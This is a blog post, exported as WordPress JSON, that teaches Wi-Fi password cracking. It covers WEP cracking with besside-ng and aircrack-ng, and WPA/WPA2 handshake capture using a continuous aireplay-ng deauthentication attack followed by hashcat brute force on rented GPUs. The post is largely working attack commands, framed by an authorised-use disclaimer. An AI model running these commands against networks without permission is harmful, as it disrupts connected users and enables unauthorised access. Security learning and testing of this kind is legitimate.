{"id":1140,"date":"2021-02-14T19:29:31","date_gmt":"2021-02-14T19:29:31","guid":{"rendered":"https:\/\/dft.wiki\/?p=1140"},"modified":"2026-06-09T09:42:41","modified_gmt":"2026-06-09T13:42:41","slug":"how-to-crack-wifi-wep-and-wpa-wpa2","status":"publish","type":"post","link":"https:\/\/dft.wiki\/?p=1140","title":{"rendered":"How to Crack WIFI: WEP and WPA\/WPA2"},"content":{"rendered":"<p>This blog and all its posts are for educational purposes only. Do not perform any of these actions on a Wi-Fi network that does not belong to you or that you do not have written permission to test.<\/p>\n<p><strong>Hacking Wi-Fi with WEP encryption<\/strong> is straightforward.<\/p>\n<p>First, listen for nearby Wi-Fi networks using WEP encryption:<\/p>\n<pre>airodump-ng wlan0 --encrypt wep<\/pre>\n<p>Replace the channel number (<strong>1<\/strong> in the example) and the MAC address (<strong>FF:FF:FF:FF:FF:FF<\/strong> in the example) with the values from airodump:<\/p>\n<pre>besside-ng wlan0 -c 1 -b FF:FF:FF:FF:FF:FF<\/pre>\n<p>This command captures IV packets, which are the type of packets used to crack WEP. It starts with packet injection and then moves on to flooding.<\/p>\n<p>It will give you the hex version of the password. Use the following command to get the ASCII version:<\/p>\n<pre>aircrack-ng .\/wep.pcap<\/pre>\n<p>An alternative method takes a bit longer since there is no packet injection to speed up the process, but it works fine too.<\/p>\n<p>Once you know the channel and the BSSID (the router&#8217;s MAC address), run the following commands in two separate terminals:<\/p>\n<pre>airodump-ng wlan0 -c 1 -b FF:FF:FF:FF:FF:FF\r\naircrack-ng .\/wep.pcap<\/pre>\n<p>Airodump captures packets in one terminal while aircrack re-checks the file every 5,000 packets until it has enough data to crack the password.<\/p>\n<p><strong>Cracking a Wi-Fi network that uses WPA\/WPA2<\/strong> involves capturing the 4-way handshake and feeding that data into hashcat to recover the password using brute force.<\/p>\n<p>To capture the handshake, a device must connect to the network. This can be a long wait, or you can deauthenticate a connected device and wait for it to reconnect.<\/p>\n<p>The hash-cracking step is more involved because it relies on a password list, either a public one or a custom one built with tools like CUPP, optionally combined with Mentalist.<\/p>\n<p>Set the wireless adapter to monitor mode, verify the mode change, and start capturing packets:<\/p>\n<pre>sudo airmon-ng start wlan0\r\niwconfig\r\nsudo airodump-ng wlan0mon<\/pre>\n<p>The tool will hop between channels and display all reachable routers along with their connected devices.<\/p>\n<pre>sudo airodump-ng -c1 -w output_file -d FF:FF:FF:FF:FF:FF wlan0mon<\/pre>\n<p>Note that <strong>-c1<\/strong> means channel 1 and <strong>FF:FF:FF:FF:FF:FF<\/strong> is the MAC address of the target router.<\/p>\n<p>In a second terminal, deauthenticate one of the connected clients:<\/p>\n<pre>sudo aireplay-ng --deauth 0 -a FF:FF:FF:FF:FF:FF -c EE:EE:EE:EE:EE:EE wlan0mon<\/pre>\n<p>The first argument <strong>0<\/strong> is the number of packets to send (0 means continuous), <strong>-a<\/strong> is the access point, and <strong>-c<\/strong> is the client.<\/p>\n<p>In the airodump terminal, you should see &#8220;<strong>WPA handshake: FF:FF:FF:FF:FF:FF<\/strong>&#8221; at the top, which means the handshake was captured and you can stop the process.<\/p>\n<pre>sudo airmon-ng stop wlan0mon<\/pre>\n<p>If you open the <strong>output_file.pcap<\/strong> file in Wireshark and filter by &#8220;<strong>eapol<\/strong>&#8221; (Extensible Authentication Protocol over LAN), you will see the 4-way handshake.<\/p>\n<p>Now use a wordlist to check if any entry matches the password:<\/p>\n<pre>aircrack-ng output_file.pcap -w \/usr\/share\/dict\/words<\/pre>\n<p>The wordlist above is a basic dictionary with a limited number of entries. Consider using RockYou or building a custom list based on available information: the SSID (which can indicate the internet provider) and the MAC address (which reveals the hardware manufacturer) can help narrow down the likely password pattern.<\/p>\n<p>For example, Bell Canada&#8217;s Home Hub 3000 modem uses a 12-character password where each character is an uppercase hex digit (0-F):<\/p>\n<pre>hashcat -m 2500 -a3 handshake.hccapx ?H?H?H?H?H?H?H?H?H?H?H?H<\/pre>\n<p>Do not be discouraged if the estimated time to finish is around 1,800 years. Find a high-performance GPU and take on the challenge \ud83d\ude42<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1195\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot_2021-02-14_21-19-59.png\" alt=\"\" width=\"610\" height=\"247\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot_2021-02-14_21-19-59.png 610w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot_2021-02-14_21-19-59-300x121.png 300w\" sizes=\"auto, (max-width: 610px) 100vw, 610px\" \/><\/p>\n<p>Using Linode GPU computing to crack the password hash:<\/p>\n<ul>\n<li>Linode Plan: Dedicated 32GB + RTX6000 GPU x1<\/li>\n<li>Hourly: $1.50 ($1,000\/month)<\/li>\n<li>RAM: 32 GB<\/li>\n<li>CPUs: 8<\/li>\n<li>Storage: 640 GB<\/li>\n<\/ul>\n<p>Setting up the system:<\/p>\n<pre>sudo apt update\r\nsudo apt install hashcat -y\r\nwget https:\/\/downloads.hpe.com\/pub\/softlib2\/software1\/pubsw-linux\/p87865808\/v171517\/NVIDIA-Quadro-RTX6000-Linux_Driver-418.43.tar.gz\r\ntar zxvf NVIDIA-Quadro-RTX6000-Linux_Driver-418.43.tar.gz\r\nchmod +x NVIDIA-Linux-x86_64-418.43.run\r\n.\/NVIDIA-Linux-x86_64-418.43.run\r\nhashcat -I\r\nsudo apt install gcc make build-essential linux-headers-$(uname -r) -y<\/pre>\n<p>Even after reducing the estimate from 1,809 years down to 10, cracking such a long password remains impractical even with high-performance hardware.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1210\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-02-15-16-11-52.png\" alt=\"\" width=\"719\" height=\"294\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-02-15-16-11-52.png 719w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-02-15-16-11-52-300x123.png 300w\" sizes=\"auto, (max-width: 719px) 100vw, 719px\" \/><\/p>\n<p>The same test was also run on <strong>ColabCat<\/strong>. Results below:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1781\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-04-09-10-39-49.png\" alt=\"\" width=\"648\" height=\"275\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-04-09-10-39-49.png 648w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-04-09-10-39-49-300x127.png 300w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/p>\n<p>Read more in the post <strong>Cracking Hashes with HashCat in Google Cloud Colab<\/strong> [<a href=\"https:\/\/dft.wiki\/?p=1658\">Link<\/a>].<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This blog and all its posts are for educational purposes only. Do not perform any [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-1140","post","type-post","status-publish","format-standard","hentry","category-hacking"],"_links":{"self":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1140","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1140"}],"version-history":[{"count":15,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1140\/revisions"}],"predecessor-version":[{"id":5782,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1140\/revisions\/5782"}],"wp:attachment":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1140"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1140"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1140"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}